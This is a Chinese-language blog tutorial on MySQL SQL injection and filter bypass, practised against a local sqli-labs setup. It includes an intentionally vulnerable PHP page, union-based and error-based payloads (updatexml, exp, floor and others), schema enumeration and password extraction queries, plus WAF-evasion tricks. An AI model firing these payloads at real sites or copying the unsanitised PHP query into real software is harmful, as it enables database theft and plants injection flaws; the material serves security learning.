SQL注入及bypass思路(1)

前言

tip固然有用,但是掌握通用方法才能在特殊环境下柳暗花明,举一反三

整篇博客从MYSQL_SQL_BYPASS_WIKI为基础出发,讨论SQL注入和bypass技巧思路(大部分都是直接照搬的hhh)

MySQL数据库简单操作

建立数据库

mysql> create database sqlvul;
Query OK, 1 row affected (0.00 sec)

查询所有数据库

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| autumnwater        |
| dedecmsv57utf8sp2  |
| miku_cms           |
| my_demo            |
| mysql              |
| performance_schema |
| qqfishing          |
| sqlvul             |
| szhescan           |
| test               |
+--------------------+
11 rows in set (0.00 sec)

红框中是我们刚才创建的

使用数据库sqlvul 新建一个user

mysql> use sqlvul;
Database changed
mysql> create table user (id int,username varchar(255),password varchar(255));
Query OK, 0 rows affected (0.04 sec)

查看数据库表

mysql> show tables;
+------------------+
| Tables_in_sqlvul |
+------------------+
| user             |
+------------------+
1 row in set (0.00 sec)

查看数据库表结构

mysql> desc user;
+----------+--------------+------+-----+---------+-------+
| Field    | Type         | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id       | int(11)      | YES  |     | NULL    |       |
| username | varchar(255) | YES  |     | NULL    |       |
| password | varchar(255) | YES  |     | NULL    |       |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

插入数据

mysql> insert into user (id,username,password) values (1,"admin","admin");
Query OK, 1 row affected (0.00 sec)

查询user表数据

mysql> select * from user;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

where条件查询

mysql> select * from user where id=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

有了这些基础知识并进行手动操作后,我们可以先在本地搭建一个拥有上述数据库的漏洞环境,漏洞代码test.php

<?php
	if($_GET['id']){
		$id= $_GET['id'];
		$conn = mysql_connect('127.0.0.1','root','root');
		mysql_select_db('sqlvul',$conn);
		$sql = "select * from user where id=$id";
		$result = mysql_query($sql);
		while($row = mysql_fetch_array($result)){
			echo "id: ".$row['id']."</br>";
			echo "username: ".$row['username']."</br>";
			echo "password: ".$row['password']."</br>";
		}
		mysql_close($conn);
		echo "</br>"."sql :".$sql;
	}else{
		echo "id,get,懂?";
	}
	
?>

这样一个简单的漏洞环境就搭建好了

http://127.0.0.1/test.php?id=1

默认表名解读

之前某公司的面试题里有:

mysql5以上和以下有什么区别?

其中一个明显区别就是information_schema

这个表(视图)是在MySQL5以后的才有的,现在MySQL4应该是很少了,所以后面的例子都围绕着MySQL5来讲解,information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息,让我们从爆破表名到了可以直接查询。

这里打住一下,如果不存在该表或者该表被禁用,我们可以使用布尔注入或者时间盲注来爆破表名

我们查询information_schema

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_BUFFER_PAGE                    |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_BUFFER_PAGE_LRU                |
+---------------------------------------+
40 rows in set (0.00 sec)

我们经常用到的几个表:

  • schemata表:提供了当前mysql实例中所有数据库的信息
  • tables表:提供了关于数据库中的表的信息
  • columns表:提供了表中的列信息

schemata

mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | autumnwater        | utf8                       | utf8_general_ci        | NULL     |
| def          | dedecmsv57utf8sp2  | utf8                       | utf8_general_ci        | NULL     |
| def          | miku_cms           | utf8                       | utf8_general_ci        | NULL     |
| def          | my_demo            | utf8                       | utf8_general_ci        | NULL     |
| def          | mysql              | utf8                       | utf8_general_ci        | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | qqfishing          | utf8                       | utf8_general_ci        | NULL     |
| def          | sqlvul             | utf8                       | utf8_general_ci        | NULL     |
| def          | szhescan           | utf8                       | utf8_general_ci        | NULL     |
| def          | test               | latin1                     | latin1_swedish_ci      | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
11 rows in set (0.00 sec)

tables (太多了只截了一部分

mysql> select table_name from information_schema.tables;
+----------------------------------------------+
| table_name                                   |
+----------------------------------------------+
| CHARACTER_SETS                               |
| COLLATIONS                                   |
| COLLATION_CHARACTER_SET_APPLICABILITY        |
| COLUMNS                                      |
| COLUMN_PRIVILEGES                            |
| ENGINES                                      |
| EVENTS                                       |
| FILES                                        |
| GLOBAL_STATUS                                |
| GLOBAL_VARIABLES                             |
| KEY_COLUMN_USAGE                             |
| PARAMETERS                                   |
| PARTITIONS                                   |
| PLUGINS                                      |
| PROCESSLIST                                  |
| PROFILING                                    |
| REFERENTIAL_CONSTRAINTS                      |
| ROUTINES                                     |
| SCHEMATA                                     |
| SCHEMA_PRIVILEGES                            |
| SESSION_STATUS                               |
| SESSION_VARIABLES                            |
| STATISTICS                                   |
| TABLES                                       |
| TABLESPACES                                  |
| TABLE_CONSTRAINTS                            |
| TABLE_PRIVILEGES                             |
| TRIGGERS                                     |
| USER_PRIVILEGES                              |
| VIEWS                                        |

columns (太多了只截了一部分

mysql> select column_name from information_schema.columns;
+----------------------------------+
| column_name                      |
+----------------------------------+
| CHARACTER_SET_NAME               |
| DEFAULT_COLLATE_NAME             |
| DESCRIPTION                      |
| MAXLEN                           |
| COLLATION_NAME                   |
| CHARACTER_SET_NAME               |
| ID                               |
| IS_DEFAULT                       |
| IS_COMPILED                      |
| SORTLEN                          |
| COLLATION_NAME                   |
| CHARACTER_SET_NAME               |
| TABLE_CATALOG                    |
| TABLE_SCHEMA                     |
| TABLE_NAME                       |
| COLUMN_NAME                      |

我们前面说过information_schema储存的是所有数据库的信息,假如我的数据库 mysqltest1 mysqltest2 都存在admin表的话 它都会显示出来

mysql> select column_name from information_schema.columns where table_name=0x61646D696E;
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
| id          |
| user        |
| pass        |
+-------------+
6 rows in set (0.00 sec)

所以要指定数据库

mysql> select column_name from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7973716C74657374;
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
3 rows in set (0.00 sec)

user表保存的用户账号密码

mysql> select username,password from sqlvul.user;
+----------+----------+
| username | password |
+----------+----------+
| admin    | admin    |
+----------+----------+
1 row in set (0.00 sec)

特殊符号

mysql中数据一般用一些符号包裹起来,如:

mysql> select * from user where id=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='1';
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

常用到的特殊符号有:

''
""
()
{}
\
\\
``
%

每个符号都是我们后期用来bypass的有利铺垫,例如

mysql> select * from `user`;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.07 sec)

注释符号

mysql中的注释符号

#
/**/ /*/**/ 这样是等效于 /**/
-- + 用这个符号注意是--空格任意字符
;%00
`
/*!*/ 内列注释为什么放在这里呢,因为它也可以当作一个空格 /*!/*!*/是等效于/*!*/的

操作符与逻辑操作符

取自官方文档 排列在同一行的操作符具有相同的优先级

:=
||,OR,XOR
&&,AND
NOT
BETWEEN,CASE,WHEN,THEN,ELSE
=,<=>,>=,><=,<,<>,!=,IS,LIKE,REGEXP,IN
|
&
<<,>>
-,+
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE

注入产生的原因

  • 程序在开发的时候没有对用户的数据过滤,把用户的数据都当作可信数据
  • 考虑到用户可能的危险输入并进行了过滤,但是过滤不严格
  • 数据库配置不当,例如字符编码不一致导致的宽字节注入
  • 转义不当

注入的类型

常见的注入我们可以归纳为数字型,字符型,搜索型,盲注等

select * from user where id=$id;//数字型注入
select * from user where id='$id';//字符型注入
select * from user where id="$id";
select * from user where id = ($id);
select * from user where id = ('$id');
select * from user where id = ("$id");
select * from user where username  like '%adm%';
select * from user where username  like ('%adm%');
select * from user where id = $id limit 0,1;
select * from user order by $id;
select * from user order by limit 0,1 $id;
select * from user order by id limit 1,1 $id;
insert注入
update注入
delete注入
二次注入 
等等

实际环境中我们可能还会遇到更为复杂的sql注入语句,我们就要想办法闭合它们。

寻找注入的一些注意

  • 如何寻找注入是一门艺术
  • 黑盒测试建立在对每个参数的fuzz上
  • 适当学习开发对于发现漏洞更有帮助
  • 涉及到用户交换数据的地方都将是注入的重灾区
  • 当网站为成熟的cms框架时不建议直接黑盒注入,通杀0day往往是在白盒审计下找到的,当然知道cms版本的情况下更好的方法是直接搜索漏洞
  • 不知名系统,目标不是很重要,自己开发的系统,可以尝试使用AWVS等扫描工具
  • 信息搜集的重要性不必多说,无论是github代码监控还是敏感备份文件扫描发现都可能带给我们意外之喜

版本收集与路径

识别数据库版本有助于我们进一步对数据库进行注入

可以用到

version()
@@version
/*!版本号*/

/*!*/意为在xxx版本之上执行

union操作符用于连接两个以上的select语句的结果并将其组合到一个结果集合中,多个select语句会删除掉重复的语句

mysql> select * from user where id=1 union select 1,version(),3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
|    1 | 5.5.53   | 3        |
+------+----------+----------+
2 rows in set (0.09 sec)

mysql> select * from user where id=1 union select 1,@@version,3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
|    1 | 5.5.53   | 3        |
+------+----------+----------+
2 rows in set (0.02 sec)

mysql> select * from user where id=1 union select 1,/*!50000 user()*/,3;
+------+----------------+----------+
| id   | username       | password |
+------+----------------+----------+
|    1 | admin          | admin    |
|    1 | root@localhost | 3        |
+------+----------------+----------+
2 rows in set (0.02 sec)

路径的话一般用@@datadir,根据日常规律大概反猜下网站路径

操作系统@@version_compile_os

用户与链接信息

system_user() //系统用户名

user() //用户名

current_user()//当前用户名

session_user()//链接数据库的用户名

mysql> select * from user where id=1 union select system_user(),user(),current_user();
+----------------+----------------+----------------+
| id             | username       | password       |
+----------------+----------------+----------------+
| 1              | admin          | admin          |
| root@localhost | root@localhost | root@localhost |
+----------------+----------------+----------------+
2 rows in set (0.01 sec)

mysql> select * from user where id=1 union select session_user(),2,3;
+----------------+----------+----------+
| id             | username | password |
+----------------+----------+----------+
| 1              | admin    | admin    |
| root@localhost | 2        | 3        |
+----------------+----------+----------+
2 rows in set (0.00 sec)

读取host 和 user

mysql> select * from user where id=1 union select 1,host,user from mysql.user;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | admin    |
|    1 | 127.0.0.1 | root     |
|    1 | ::1       | root     |
|    1 | localhost | root     |
+------+-----------+----------+
4 rows in set (0.07 sec)

通过以上信息还能大概判断下是不是站库分离之类的

站库分离

web应用与数据库不在同一台服务器上

初识注入bypass

推荐使用sqli-labs来进行注入练手,手工注入是基础,切勿浮沙筑高台

直接使用and 1=1一类的多属于数字型注入

mysql> select * from user where id=1 and 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 and 1=2;
Empty set (0.00 sec)

被引号包裹起来就不行了

mysql> select * from user where username='admin and 1=1';
Empty set (0.01 sec)

mysql> select * from user where username='admin';
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

需要通过分析报错的语句来进行判断和闭合

第一个注入

and是一个逻辑符号,要求两边同时成立,所以and 这边是什么可以尽情发挥大家的才能,比如 and true=1

为什么要这么写,因为某狗判断的就是 and 这边的字符类型,大家可以去了解mysql的隐式转化

mysql> select * from user where id='1' and 1=1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='1' and 1=2;
Empty set (0.00 sec)

sqli-labs第一关

看到报错语句

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

其中关键部分为:

right syntax to use near ''1'' LIMIT 0,1' at line 1

最外层是它出错给你的字符串,所以为:

'1'' LIMIT 0,1

我们的payload?id=1'

应该是单引号没闭合所以造成了出错,同时知道它语句后面有个LIMIT 0,1

所以反推后端查询语句大概为

select x,x from xxx where x='$id' limit 0,1

在看到报错信息的时候我们应该要能够反推它的语句,有利于我们进一步注入,接下来进行联合注入

使用order by判断它的列数,因为order by是根据列来排序的,排序第几列

关于 order by排序

因为原文中没有太仔细说这个地方,为了读者方便理解,专门说一下

菜鸟教程关于order by子句进行排序的时候,使用的是该列的关键字

mysql> SELECT * from runoob_tbl ORDER BY submission_date ASC;
+-----------+---------------+---------------+-----------------+
| runoob_id | runoob_title  | runoob_author | submission_date |
+-----------+---------------+---------------+-----------------+
| 3         | 学习 Java   | RUNOOB.COM    | 2015-05-01      |
| 4         | 学习 Python | RUNOOB.COM    | 2016-03-06      |
| 1         | 学习 PHP    | 菜鸟教程  | 2017-04-12      |
| 2         | 学习 MySQL  | 菜鸟教程  | 2017-04-12      |
+-----------+---------------+---------------+-----------------+
4 rows in set (0.01 sec)

这里是按照submission_date 列的升序排列

当然我们也可以不使用列名,直接使用该列在表中的列数,如submission_date对应的就是第4列

SELECT * from runoob_tbl ORDER BY 4 ASC;

如果没有这一列的话使用order by语句就会报错,由此来判断数据库中的列数,进一步注入

mysql> select * from user order by 3;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | admin    |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from user order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

回到sqli-labs第一关

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- +

通过limit 0,1来控制前端的显位的数据(从第0条取一条)

如果是过滤逗号,想用分页可以使用 1 offset 1,意思是从第一条开始选一条

当然还有 join 分页

mysql> select * from user union select 1,schema_name,3 from information_schema.schemata limit 1,1;
+------+--------------------+----------+
| id   | username           | password |
+------+--------------------+----------+
|    1 | information_schema | 3        |
+------+--------------------+----------+
1 row in set (0.01 sec)

mysql> select * from user union select 1,schema_name,3 from information_schema.schemata limit 1 offset 1;
+------+--------------------+----------+
| id   | username           | password |
+------+--------------------+----------+
|    1 | information_schema | 3        |
+------+--------------------+----------+
1 row in set (0.00 sec)

sqli-labspayload

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +

如果想要直接爆当前库的表,不妨写

table_schema=database()

为了避免单引号你也可以使用hex后的数据

table_schema=0x7365637572697479

使用group_concat()函数把表名都聚合起来,更加方便

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- +

爆出字段

http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- +

如果group_concat()被过滤,我们可以使用其他类似的函数来进行替换,可以查阅mysql函数表

当我们使用information_schema.schemata被拦截时,我们可以使用前面提到的符号们组合绕过

`information_schema`.`schemata`
information_schema/**/.schemata
information_schema/*!*/.schemata
information_schema%0a.schemata

也有人遇到过这种情况 users表被拦截 怎么绕过呢,其实也一样

security.users 数据库名 加表名
security.`users`

报错注入

报错注入在我们不能联合注入的时候也是非常重要的,网上给我们提供了很多种报错注入,这里直接引用

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

一文了

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个报错语句都有它的原理,比如exp()报错的原理,手册说到exp()时一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后~取反它的值总会大于709所以报错

exp()函数报错原理

可以参考王叹之师傅的这篇文章

简单说明一下

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

超过709就会报错

接下来有两个重点:

  • 将0按位取反就会返回18446744073709551615,得到最大的无符号BIGINT值
  • 函数成功执行后返回0
mysql> select ~(select user());
+----------------------+
| ~(select user())     |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

所以出现了上述的执行结果

接着来解释一下payload exp(~(select * from(select user())a))

  • 先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a
  • 然后 再 select * from a 查询a ,将 结果集a 全部查询出来,这里必须使用嵌套,因为不使用嵌套,不加select * from 无法大整数溢出

简单的用报错语句来注入一下,这里使用函数updatexml()

updatexml (XML_document, XPath_string, new_value); 
XML_document: 是String格式,为XML文档对象的名称,文中为Doc 
XPath_string : Xpath
new_value :String格式,替换查找到的符合条件的数据 

其中关键点就是XPath_string这里,因为我们传入的不是XPath_string,而是我们想要获取到的数据。

为什么要用到concat这个函数,因为它时一个连接函数,可以不用,例如(updatexml(1,(select user()),1)),但是需要字符中有特殊字符才会报错,同时它会被中间的特殊字符截断,所以需要用到concat将它连接起来

updatexml报错原理

可以参考上面的王叹之师傅的文章

简单来说是由于参数的格式不正确而产生的错误,同样也会返回参数的信息

例如payload updatexml(1,concat(0x7e,(select user()),0x7e),1)

这里的~符号也就是0x7e,也是我们前面所提到的报错的特殊字符

sqli-labs第一关报错payload

爆库:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +

在报错里面直接使用mysql最基本的查表即可,也可以将concat放在外面

updatexml(1,concat(0x7e, (select password from user limit 1,1),0x7e),1)

因为使用了concat连接函数,所以只能爆出32位数据,其中有一位还是0x7e,即引发报错的字符,实际上出现的密码只有31位

mysql> select updatexml(1,concat(0x7e,(select md5(password) from user),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'

可以自行使用分割函数将数据分割出来

substr(string string,num start,num length);
string为字符串
start为起始位置
length为长度
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +

下回继续分解

参考链接

posted @ 2021-02-28 21:38  春告鳥  阅读(1589)  评论(0编辑  收藏  举报